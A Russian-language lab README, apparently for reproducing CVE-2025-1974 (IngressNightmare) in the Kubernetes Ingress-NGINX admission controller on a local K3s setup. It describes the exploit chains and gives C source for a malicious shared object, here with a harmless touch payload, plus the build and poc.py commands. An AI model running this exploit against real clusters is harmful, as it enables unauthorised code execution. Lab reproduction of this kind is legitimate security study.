
Эксплойт proof-of-concept для CVE-2025-1974 (IngressNightmare), нацеленный на Kubernetes Ingress-NGINX Admission Controller для достижения удалённого выполнения кода с помощью вредоносных запросов AdmissionReview.
Ingress-NGINX: контроллер Ingress для Kubernetes, использующий NGINX в качестве обратного прокси и балансировщика нагрузки.
Уязвимость "IngressNightmare" (CVE-2025-1974) проистекает из критического дефекта в Ingress-NGINX Admission Controller — ключевом механизме безопасности Kubernetes, который проверяет входящие Ingress-ресурсы.
Этот контроллер доступен в сети без аутентификации, что позволяет злоумышленнику отправлять поддельные AdmissionReview-запросы и внедрять несанкционированные конфигурации в Ingress-ресурсы.
В сочетании с другими уязвимостями (CVE-2025-24514, CVE-2024-1097 или CVE-2025-1098) это может привести к удалённому выполнению кода.
Некоторые возможные цепочки эксплуатации:
CVE-2025-1974+CVE-2025-24514: RCE через инъекцию аннотации auth-url
CVE-2025-1974+CVE-2025-1097: RCE через аннотацию auth-tls-match-cn
CVE-2025-1974+CVE-2025-1098: RCE через злоупотребление UID образа
Для имитации уязвимости используется Kubernetes-окружение на базе K3s — ради простоты.
docker compose up -d
Дождитесь, пока Kubernetes API будет готов и контроллер Ingress-nginx запустится. Когда окружение запущено, Ingress-NGINX прослушивает порты 30080 и 30443 (TLS), а Ingress-NGINX Admission Controller — порт 30443.
Сначала нужно скомпилировать payload в виде разделяемого объекта (.so), соответствующего архитектуре контейнера.
#include<stdio.h>
#include<stdlib.h>
__attribute__((constructor)) static void reverse_shell(void)
{
system("touch /tmp/hacked");
}
gcc -shared -fPIC -o shell.so shell.c
python3 poc.py -a https://localhost:30443/networking/v1/ingresses -i http://localhost:30080/fake/addr -s shell.so
Эксплойт AdmissionReview работает путём подделки запроса с инъекцией директив, заставляя NGINX загрузить вредоносный динамический разделяемый объект.
В случае успешной эксплуатации внутри контейнера ingress-nginx можно увидеть, что создаётся файл ssl_engine.
